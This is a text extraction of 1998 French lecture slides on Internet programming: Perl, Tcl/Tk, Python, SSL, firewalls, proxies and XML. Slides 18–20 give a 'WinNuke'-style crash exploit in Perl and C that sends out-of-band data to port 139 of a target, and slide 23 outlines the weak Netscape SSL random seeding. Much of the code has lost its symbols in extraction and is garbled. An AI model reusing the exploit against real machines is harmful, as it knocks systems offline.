Title: Java Par L'exemple : Le serveur
1Programmation Internetet Intranet
S. Frénot INSA Lyon 1998 stephf_at_lisiflory.insa-lyo
n.fr http//lisisun1/sfrenot/cours/
2Déroulement du cours
- Architecture Web de base
- Architecture Web dynamique
- Client / Serveur de données
- Java
- Architectures distribués
- Les compléments
3Les approches de PII
- Modèle Initial
- Approche documentaire HTML/HTTP, Internet
- Avantage / Inconvénients
- Modèle Avancé
- Approche objets distribués Java/Corba,
Intranet - Avantage / Inconvénients
4Les langages de script
- Langages de script
- Interprété
- Suivent la Loi de Moore
- Objets distribués / Composants
- Légers et modulaires
- Portés sur de nombreux environnements
- Client Script Documentaire
- JavaScript, Python, Tcl/Tk
- Visuel
- Serveur Shell puissants
- Perl, Tcl, Tk
- Prototypage
5Perl
- TMTOWTDI "Tim-Toady"
- 1 Simplifier les tâches faciles
- 2 Ne pas empêcher les tâches difficiles
- gt Larry Wall
- Linguiste
- Notion de langue et d'interprétation contextuelle
et tardive - Nom, Verbe, Singulier et Pluriel
6Perl
- "Practical Extraction and Report Language"
- Interprété
- Modulaire
- 446 Modules "use module"
- Simple / Complexe
- Efficace
- Orienté
- traitement de chaînes
- Accès fichiers
- Accès réseau
7Perl Exemple
- !/usr/local/bin/perl
- print "Content-Typetext/html\n\nltHTMLgtltBODYgt"
- open (NOTES, "notes") or die "Ouverture
impossible !\n" - while (ligneltNOTESgt)
- (etudiant, note) split(/ /, ligne)
- chomp(note)
- notesetudiant . note.' '
- foreach etudiant (sort keys notes)
- scores,note, total0
- _at_notes split(/ /, notesetudiant)
- foreach note(_at_notes)
- totalnote
- scores
- moyenne total/scores
- print "ltPREgtetudiant
notesetudiant\tMoyenne moyenne\nltBRgt" - print "lt/bodygtlt/htmlgt"
8Perl 5.004
- Accès aux Bases de données
- DBD, DBI gt ODBC
- Accès aux Formulaires HTML
- CGI.pm, HTML.pm
- Accès aux variables systèmes de la machine
- Porté sur Win32, Unix, MacIntosh
- Communauté Internet
- ftp//ftp.pasteur.fr/pub/Perl/
9TCL/Tk
- Tool Command Langage gt Shell de programmation
- ToolKit gt Widgets de présentation
- Toute architecture de programmation importante
utilise deux classes de langage - un langage compilé, efficace pour l'algorithmie
(cobol, c, c ...) - un autre, interprété, utilisé comme glue pour
"piloter" et personnaliser les différentes
fonctionnalités de l'application - gt John Ousterhout (Sun)
10TCL
- !/usr/local/bin/tclsh8.0
- set envvars SERVER_SOFTWARE SERVER_NAME
- GATEWAY_INTERFACE SERVER_PROTOCOL
- SERVER_PORT REQUEST_METHOD
- PATH_INFO PATH_TRANSLATED SCRIPT_NAME
- QUERY_STRING REMOTE_HOST REMOTE_ADDR
- REMOTE_USER AUTH_TYPE CONTENT_TYPE
- CONTENT_LENGTH HTTP_ACCEPT HTTP_REFERER
- HTTP_USER_AGENT
- puts "Content-type text/html\n"
- puts "ltHTMLgtltBODYgt"
- puts"ltH1gtMessagelt/H1gtltPREgt"
- puts "lt/PREgtltH1gtEnvironment Variableslt/H1gt"
- foreach var envvars
- if info exists env(var)
- puts "ltDTgtvarltDDgtenv(var)"
if string compare env(REQUEST_METHOD)
"POST"0 set message split read stdin
env(CONTENT_LENGTH) else set message
split env(QUERY_STRING) foreach pair
message set name lindex split pair
0 set val lindex split pair 1 puts
"name\t val" puts "lt/BODYgtlt/HTMLgt"
11Tk
- Créer l'interface utilisateur en écrivant les
scripts Tcl. - Hello, world
- button .hello -text "Hello, world" -command exit
- pack .hello
- Explorateur Windows 30 lignes
- Browser Web 2000 lignes
- 10x moins de code pour des choses simples.
12TCL / Tk
- 1 Librairie de procédures C pour développeurs
- L'interpréteur est pilotable en C
- Tcl_Interp interp
- interp Tcl_CreateInterp()
- int code
- codeTcl_Eval(interp, "set a 1")
- codeTcl_EvalFile(interp, "init.tcl")
- Créer une nouvelle commande Tcl
- int EqCmd(ClientData clientData, Tcl_Interp
interp, int argc, char argv) - if (argc ! 3)
- interp-gtresult "wrong args"
- return TCL_ERROR
- if (!strcmp(argv1, argv2)) interp-gtresult
"1" - else interp-gtresult "0"
- return TCL_OK
- L'enregistrer sur l'interpréteur
- Tcl_CreateCommand(interp, "eq", EqCmd,
(ClientData) NULL, ...)
13TCL / Tk
- Largement utilisé
- Le plus puissant
- Choisi comme langage de script de Java
- Efficace
- Tcl Plug-in, TCLBlend/Jacl, SpecTcl, TclHttpd,
WebTk, Exmh - http//www.sunscript.com/
14Python
- Portable, interprété, orienté objet (ABC, C,
Modula-3, Icon) - Facile à apprendre
- Script CGI, Administration de systèmes,
Prototypage - Indépendant de la plateforme Tk comme
bibliothèque graphique, génère du byte-code - Multiniveaux Scripts shell, ou librairies oo
- Extensible branchement sur les autres binaires
(Microsoft FC, MacOS ToolBox) - Imbriquable Script gt HTML, BD, Environnement
- gt Just et Guido van Rossum (CNRI Corporation
for National Research Institute)
15Python exemple
!/usr/local/lib/python import time JOUR
243600 class Date def __init__(self,
date) self.datedate def __repr__(self) st
ime.ctime(self.date) return s11s-4 def
demain(self) return self1 def hier(self)
return self -1 def __add__(self,
nbjours) return Date (self.datenbjoursJOUR)
__radd_____add__ def __sub__(self,
autre) if hasattr(autre, 'date')
return int (self.date/JOUR) - int(other.date/JOUR)
else return self.__add__(-other) aujourdh
uiDate(time.time( )) print aujourdhui.demain(
)-ajourdhui.hier( )
- !/usr/local/lib/python
- import posix
- import string
- uidposix.getuid()
- passwdopen('/etc/passwd')
- for line in passwd.readline()
- recstring.splitfields(line, '')
- if rec2 uid
- print 'bonjour', rec0
- break
- else
- print 'Non trouve'
16Python
- http//www.python.org
- modules
- chaines, Expression Régulières, posix, sockets,
threads, multimédia, cryptographie, STDWIN,
Internet/WWW - Utilisé pour l'interface utilisateur de Linux
RedHat 5 - Exemple utilisé pour les tags OBJECT d'HTML 4
17Disponibilité des langages
- Vitesse de développement gt Economie
- Utiliser les bons outils
- Marché en expansion
- Se faire plaisir
18Exemple
- !/opt/bin/perl
- use strict
- use Socket
- h "ARGV0"
- p 139 if (!ARGV1)
- if (!h) print "Un nom de machine doit être
fournit. Ex www.microsoft.com\n" - in_addr (gethostbyname(h))4
- addr sockaddr_in(p,in_addr)
- proto getprotobyname('tcp')
- print "Adresse viséein_addr addr addr proto
proto\n" - socket(S, AF_INET, SOCK_STREAM, proto) die
! - connect(S,addr) or die !
- 1
- print STDOUT "Nuking hp\n"
- send S,"Au revoir",MSG_OOB
- print STDOUT "Nuked!\n"
- close S STDOUT
perl -MIOSocket -e 'IOSocketINET-gt new(Pee
rAddrgt"some.windoze.box")-gt send("bye",MSG_OOB
)'
19Equivalent C
int open_sock(int sock, char server, int port)
struct sockaddr_in blah struct
hostent he bzero((char )blah,sizeof(blah)
) blah.sin_familyAF_INET
blah.sin_addr.s_addrinet_addr(server)
blah.sin_porthtons(port) if ((he
gethostbyname(server)) ! NULL)
bcopy(he-gth_addr, (char )blah.sin_addr,
he-gth_length) else if
((blah.sin_addr.s_addr inet_addr(server)) lt 0)
perror("gethostbyname()")
return(-3) if
(connect(sock,(struct sockaddr )blah,16)-1)
perror("connect()")
close(sock) return(-4)
printf("Connected to sd.\n",server,port)
return
- include ltstdio.hgt
- include ltstring.hgt
- include ltnetdb.hgt
- include ltnetinet/in.hgt
- include ltsys/types.hgt
- include ltsys/socket.hgt
- include ltunistd.hgt
- define dport 139
- int x, s
- char str "Bye"
- struct sockaddr_in addr, spoofedaddr
- struct hostent host
20Equivalent C Suite
- void main(int argc, char argv) if (argc
! 2) - printf("Usage s lttargetgt\n",argv0)
- exit(0)
-
- if ((s socket(AF_INET, SOCK_STREAM,
IPPROTO_TCP)) -1) - perror("socket()")
- exit(-1)
- open_sock(s,argv1,dport)
- printf("Sending crash... ")
- send(s,str,strlen(str),MSG_OOB)
- usleep(100000)
- printf("Done!\n")
- close(s)
21Compléments
22Cryptage SSL (HTTPS)
- Encodage sur une clé unique connue du client et
du serveur - Le client génère aléatoirement un nombre
- Puis le transfère de manière cryptée au serveur
- Celui-ci encode les messages à l'aide de ce
nombre - gt mais ...
23Crack !
- global variable racine
- RNG_CreeContexte( )
- (secondes, microsecondes) maintenant!
- pidprocess ID ppid parent process ID
- amklcpr(microsecondes)
- bmklcpr(pidseconds(ppidltlt12))
- racineMD5(a,b)
- mklcpr(x)
- return ((0xDEECE66D x
- 0x2BBB62DC) gtgt 1)
- MD5()
RNG_GenereNombreAleatoire( ) xMD5(seed) seed
seed1 return x global variable debut,
clé_secrete Creer_cle ( ) RNG_CreeContexte(
) tmp RNG_GenereNombreAleatoire()
tmp RNG_GenereNombreAleatoire() debut
RNG_GenereNombreAleatoire()
clé_secreteRNG_GenereNombreAleatoire()
24FireWall
- FireWall Pare-Feu
- Filtrage des paquets
- Table de filtrage des ports de connexion
- Inbound HTTP www.interne.com
- Outbound HTTP www.externe.com
- Inbound telnet telnet.interne.com
- Sinon interdit
- Tunneling Protocol
- Encodage d'une session
- Reseaux privés virtuels
25Proxy
- Cache des documents transférés
- Cache mémoire sur le client
- Cache disque sur le client
- Serveur Cache local
- Serveurs Cache nationaux
- Fonctions
- Disponibilité,
- Maintenabilité
- Pre-caching
- Baisse de la charge
- Difficulté ?
26Serveur Proxy
- proxy.univ-lyon1.fr 3128
- function FindProxyForURL(url, host)
- if (isPlainHostName(host)) return "DIRECT"
- if ( dnsDomainIs( host,"univ-lyon1.fr")
- dnsDomainIs(host,"cpe.fr")
- dnsDomainIs(host,"enssib.fr")
- dnsDomainIs(host,"cermep.fr")
- dnsDomainIs(host,"dr7.cnrs.fr")
- dnsDomainIs(host,"www.dsi.cnrs.fr")
- dnsDomainIs(host,"insa-lyon.fr"))
- return "DIRECT"
- if (url.substring(0, 5) "http"
url.substring(0, 7) "gopher") - return "PROXY proxy.univ-lyon1.fr3128
DIRECT" - if (url.substring(0, 5) "wais") return
"PROXY web.univ-lyon2.fr8001" - else return "DIRECT"
-
27Push
- Anticiper la demande de l'utilisateur
- gt Lui fournir l'information avant qu'il ne la
cherche - gt Retourner le modèle du Web
- gt L'utilisateur négocie une politique de push
- gt Notion de canaux de diffusion
28Push
- Approche diffusion Commerciale
- Diffusion de canaux d'information
- BackWeb Personnalisation et Segmentation,
infopacks - Pointcast (1996) Pionnier, émetteur unique !
- Approche diffusion Logiciel
- Marimba Société (JavaFund)
- Castanet Emetteur, Tuner, Proxy, GateWay
- gt Technologies PUSH Bonnet, Macary, Eyrolles
Informatiques
29Faiblesses de HTML
- Pas de gestion des hyperliens
- Pas de contrôle de la syntaxe
- Pas d'extensibilité possible
- Pas de structures
- Pas de distinction sur (forme/fond)
- Pas de support d'internationalisation
- Pas de support pour l'échange de données
- Pas de réutilisation
- Contenu dynamique
- Orientation Objet
30Langage de documents DHTML
- Scripts Feuilles de styles (JavaScriptCSS)
- Approche OO d'un document
- Fondé sur le DOM (Document Object Model) du W3C
- Programmation plus souple
- Incompatibilité Microsoft/Netscape
- gt HTML
31Meta-Langage de document XML
- eXtensible Markup Langage
- Représenter n'importe quel document avec des tags
logiques - Langage de programmation DSSSL
- Lisp (Scheme)
- Documents Bien Formés
- DTD du document
- gt SGML --
- gt Jim Clark SP Parser, Jade ...
32Architectures
33Evolution du Web
34Anneaux de diffussion
- Interconnexion de sites Web
- Mettre en commun des utilisateurs sur un sujet
- Définir des sous-réseau logiques d'information
- Site central qui diffuse les entêtes des
documents - Diffusion aux abonnés d'un cgi à insérer dans les
documents - gt PilotGear